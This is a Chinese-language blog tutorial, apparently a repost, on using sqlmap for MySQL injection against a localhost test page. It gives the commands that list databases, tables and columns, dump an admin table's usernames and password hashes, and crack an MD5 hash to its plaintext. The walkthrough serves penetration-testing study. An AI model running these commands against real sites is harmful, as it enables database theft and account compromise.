您的位置:首页 > 数据库 > MySQL

sqlmap之(四)----Mysql注入实战

2017-02-27 16:25 555 查看
(1) 查找数据库

sqlmap.py -u "http://localhost/sqls/index.php?id=123" --dbs




数据库有8个。

(2) 通过第一步的数据库查找表(假如数据库名为test)

sqlmap.py -u "http://localhost/sqls/index.php?id=123" -D test --tables




猜解出来里面存在admin,sqltest两个表。

(3) 通过2中的表得出列名(假如表为admin)

sqlmap.py -u "http://localhost/sqls/index.php?id=123" -D test -T admin --columns




(4) 获取字段的值(假如扫描出id,user,pwd字段)

sqlmap.py -u "http://localhost/sqls/index.php?id=123" -D test -T admin -C "id,user,pwd" --dump



do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]

你想存储的哈希值来与其他工具最终进一步处理临时文件?   输入"Y"

do you want to crack them via a dictionary-based attack? [Y/n/q]

你想通过基于字典的攻击来破解他们吗?  输入"N"

马上就得到了用户名



与MD5的密码: 3f230640b78d7e71ac5514e57935eb69 去破解下得到"qazxsw"

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: